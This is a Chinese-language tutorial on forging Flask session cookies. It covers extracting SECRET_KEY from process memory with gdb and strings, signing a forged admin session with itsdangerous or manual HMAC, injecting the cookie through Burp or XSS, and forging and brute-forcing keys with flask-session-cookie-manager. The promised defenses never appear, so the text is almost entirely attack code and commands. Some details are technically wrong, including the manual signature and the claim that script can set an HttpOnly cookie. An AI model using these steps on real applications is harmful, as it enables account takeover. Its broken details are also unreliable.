Flask 作为轻量级 Python Web 框架,因简单易用广受欢迎。其默认的客户端 Session 机制(数据存储在浏览器 Cookie 中)虽降低了服务器压力,但也埋下安全隐患 —— 若攻击者获取应用的SECRET_KEY
,可直接伪造合法 Session,实现身份劫持。本文将从SECRET_KEY 的内存窃取出发,详细解析 Session 伪造的完整流程,并给出针对性防范措施。
一、核心前提:获取 SECRET_KEY
Flask 的 Session 本质是 “加密签名的 Cookie”,其安全依赖SECRET_KEY
。攻击者若想伪造 Session,必须先拿到这个密钥。实际攻击中,内存窃取是最直接且危险的方式。
1.1 内存中提取 SECRET_KEY 的原理
Flask 应用启动时,SECRET_KEY
会被加载到内存(通常存储在app.config['SECRET_KEY']
中)。由于 Python 是解释型语言,字符串在内存中以明文形式存在(除非主动加密),攻击者可通过内存分析工具直接读取。
1.2 内存窃取的具体步骤
假设攻击者已通过远程代码执行(RCE)或本地权限提升控制服务器,以下是提取SECRET_KEY
的详细流程:
步骤 1:定位 Flask 进程
首先需确定 Flask 应用的进程 ID(PID)。可通过ps
或pgrep
命令查找:
# 查找Python进程中包含Flask关键字的进程
ps aux | grep 'flask'
# 或直接搜索gunicorn/uWSGI等WSGI服务器(常见部署方式)
pgrep gunicorn
步骤 2:转储进程内存
使用gdb
(GNU 调试器)转储 Flask 进程的内存。命令如下:
# 以root权限附加到目标进程(PID替换为实际值)
gdb -p <PID> -ex "dump memory flask_mem.dump 0 0x7fffffffffff" -ex "quit"
此命令会将进程内存从地址0
到0x7fffffffffff
(用户空间末尾)转储到flask_mem.dump
文件。
步骤 3:搜索 SECRET_KEY
内存转储文件包含大量二进制数据,需通过字符串提取工具过滤。常用命令:
# 提取内存中的可打印字符串,并过滤与SECRET_KEY相关的关键字
strings flask_mem.dump | grep -i "secret_key"
若SECRET_KEY
被硬编码在代码中(如app.config['SECRET_KEY'] = 'my_secret_123'
),搜索结果可能直接暴露密钥。若密钥通过环境变量加载(如os.getenv('SECRET_KEY')
),则需搜索随机字符串模式(如长度 16 + 的非重复字符)。
步骤 4:验证密钥有效性
提取到疑似SECRET_KEY
后,需验证其正确性。编写简单脚本:
from flask import Flask
# 替换为提取的密钥
extracted_key = 'my_secret_123'
app = Flask(__name__)
app.config['SECRET_KEY'] = extracted_key
# 打印密钥验证(若输出与extracted_key一致则有效)
print(f"Extracted SECRET_KEY: {app.secret_key}")
二、伪造 Session 的详细流程
假设已成功获取SECRET_KEY
,下一步是构造并签名伪造的 Session 数据。
2.1 构造目标 Session 数据
Flask 的 Session 数据会被序列化为 JSON,再通过 URL 安全的 Base64 编码(去除末尾等号)。攻击者需构造需要伪造的 Session 内容(如模拟管理员身份)。
示例:构造管理员 Session
目标 Session 需包含{"user_id": "admin", "is_admin": true}
,具体操作如下:
import json
import base64
# 构造Session数据(字典)
session_data = {
"user_id": "admin",
"is_admin": True,
"username": "系统管理员"
}
# 序列化为JSON字符串
data_json = json.dumps(session_data, separators=(',', ':')) # 紧凑格式(无空格)
# 结果:'{"user_id":"admin","is_admin":true,"username":"系统管理员"}'
# URL安全Base64编码(去除末尾等号)
data_b64 = base64.urlsafe_b64encode(data_json.encode()).rstrip(b'=')
# 结果(示例):b'eyJ1c2VyX2lkIjoiYWRtaW4iLCJpc19hZG1pbiI6dHJ1ZSwidXNlcm5hbWUiOiLmt7Hnu58ifQ'
2.2 生成合法签名
Flask 使用itsdangerous
库的URLSafeTimedSerializer
生成签名(默认带时间戳,有效期 31 天)。攻击者需用SECRET_KEY
重新计算签名。
方法 1:使用 itsdangerous 库直接生成
from itsdangerous import URLSafeTimedSerializer
# 攻击者获取的SECRET_KEY
secret_key = 'my_secret_123'
# 初始化序列化工具
serializer = URLSafeTimedSerializer(secret_key)
# 生成带签名的Session字符串(即Cookie值)
fake_session = serializer.dumps(session_data)
print(f"伪造的Session Cookie值:{fake_session}")
# 输出示例:'eyJ1c2VyX2lkIjoiYWRtaW4i...'.'abc123...'(数据部分.签名部分)
方法 2:手动模拟签名逻辑(可选)
若无法使用itsdangerous
,可手动计算 HMAC-SHA1 签名(Flask 默认算法):
import hmac
import hashlib
import base64
# 步骤2.1中生成的Base64数据(bytes类型)
data_b64 = b'eyJ1c2VyX2lkIjoiYWRtaW4iLCJpc19hZG1pbiI6dHJ1ZSwidXNlcm5hbWUiOiLmt7Hnu58ifQ'
# 攻击者获取的SECRET_KEY(需转为bytes)
secret_key = b'my_secret_123'
# 计算HMAC-SHA1签名
signature = hmac.new(
key=secret_key,
msg=data_b64, # 签名数据为Base64后的内容
digestmod=hashlib.sha1
).digest()
# 对签名进行URL安全Base64编码(去除末尾等号)
signature_b64 = base64.urlsafe_b64encode(signature).rstrip(b'=')
# 拼接数据部分和签名部分,得到完整Session Cookie值
fake_session = f"{data_b64.decode()}.{signature_b64.decode()}"
print(f"手动生成的Session Cookie值:{fake_session}")
2.3 植入伪造的 Session Cookie
攻击者将生成的fake_session
作为session
Cookie 值,通过以下方式发送给服务器:
方式 1:手动构造请求(测试场景)
使用 Postman 或 Burp Suite 修改请求的 Cookie 头:
GET /dashboard HTTP/1.1
Host: example.com
Cookie: session=eyJ1c2VyX2lkIjoiYWRtaW4i...abc123... # 替换为伪造的Session值
方式 2:诱导用户访问(实际攻击)
若目标网站存在 XSS 漏洞,攻击者可通过恶意脚本将伪造的 Cookie 写入用户浏览器(需注意:若 Cookie 设置了HttpOnly
属性,JavaScript 无法修改):
// 假设攻击者控制了用户浏览器(通过XSS)
document.cookie = `session=${fake_session}; path=/; Secure; HttpOnly`;
三、伪造成功的验证
服务器收到请求后,会执行以下验证流程:
-
从 Cookie 中提取
session
值,拆分为数据部分
和签名部分
。 -
使用
SECRET_KEY
对数据部分
重新计算 HMAC 签名,与签名部分
比对。 -
若签名匹配,解析
数据部分
为 JSON,将内容存入session
对象。 -
攻击者成功以伪造的身份(如管理员)访问受限页面。
四、flask-session-cookie-manager
flask-session-cookie-manager
是一个针对 Flask 框架 Session 机制的开源工具(原项目常见于 GitHub,GitCode 为镜像仓库),主要用于解码、生成或伪造 Flask 的 Session Cookie。其核心功能是利用 Flask 的SECRET_KEY
对 Session 数据进行签名或验证,降低了手动伪造 Session 的技术门槛。
工具核心功能
该工具本质是itsdangerous
库的封装,围绕 Flask Session 的 ** 编码(签名)和解码(验证)** 提供便捷操作。主要功能包括:
功能 | 描述 |
---|---|
解码(Decode) | 解析一个现有的 Flask Session Cookie,提取其中的原始数据(需SECRET_KEY 验证签名)。 |
编码(Encode) | 根据用户输入的 JSON 数据和SECRET_KEY ,生成一个合法签名的 Session Cookie。 |
破解(Crack) | 暴力破解弱SECRET_KEY (仅适用于密钥长度短或复杂度低的场景)。 |
工作原理
Flask 的 Session Cookie 由两部分组成:数据部分.base64
和签名部分.base64
,通过itsdangerous
库的URLSafeTimedSerializer
生成。工具的核心逻辑是:
-
解码:将 Session Cookie 按
.
分割为数据和签名,使用SECRET_KEY
验证签名有效性;若验证通过,反序列化数据部分为 JSON。 -
编码:将用户输入的 JSON 数据序列化为字符串,Base64 编码后,使用
SECRET_KEY
生成 HMAC 签名(默认 SHA1),拼接成完整的 Session Cookie。
使用示例(以命令行工具为例)
假设已克隆工具仓库并安装依赖(通常需要 Python 3 和itsdangerous
库),以下是典型操作流程:
1. 环境准备
# 克隆仓库(GitCode镜像)
git clone https://gitcode.com/gh_mirrors/fl/flask-session-cookie-manager.git
cd flask-session-cookie-manager
# 安装依赖(需Python 3.6+)
pip install -r requirements.txt
2. 解码现有 Session Cookie
若已知SECRET_KEY
,可解析目标用户的 Session 内容(如查看是否包含user_id
等敏感信息)。
python flask_session_cookie_manager3.py decode -s <SECRET_KEY> -c <SESSION_COOKIE>
示例:
# SECRET_KEY为"my_secret_key",Session Cookie为待解码的值
python flask_session_cookie_manager3.py decode -s "my_secret_key" -c "eyJ1c2VyX2lkIjoiMTIzIn0.YlF7Vw.5p9z5Qz4z4Z5X5Z5X5Z5"
输出结果:
{
"user_id": "123"
}
3. 生成伪造的 Session Cookie
攻击者可构造任意 Session 数据(如模拟管理员身份),并使用SECRET_KEY
生成合法签名。
命令格式:
python flask_session_cookie_manager3.py encode -s <SECRET_KEY> -d <JSON_DATA>
示例:
# 构造管理员Session数据(JSON格式)
python flask_session_cookie_manager3.py encode -s "my_secret_key" -d '{"user_id":"admin","is_admin":true}'
输出结果:
生成的Session Cookie:eyJ1c2VyX2lkIjoiYWRtaW4iLCJpc19hZG1pbiI6dHJ1ZX0.YlF7Vw.5p9z5Qz4z4Z5X5Z5X5Z5
4. 暴力破解 SECRET_KEY(可选)
若SECRET_KEY
较弱(如短字符串或常见密码),工具可尝试暴力破解。
命令格式:
python flask_session_cookie_manager3.py crack -c <SESSION_COOKIE> -w <WORDLIST_PATH>
示例:
# 使用字典文件(如常见密码列表)尝试破解
python flask_session_cookie_manager3.py crack -c "现有Session Cookie" -w ./rockyou.txt
输出结果:
若找到匹配的SECRET_KEY
,会输出密钥值;否则提示破解失败。
安全影响与风险
该工具本身是安全测试工具(如用于漏洞验证或防御演练),但落入攻击者手中时,结合泄露的SECRET_KEY
可直接伪造 Session,导致:
-
身份劫持:攻击者以合法用户(如管理员)身份访问受限功能(如后台管理、支付接口)。
-
数据篡改:修改 Session 中的关键参数(如
cart_id
、balance
),破坏业务逻辑。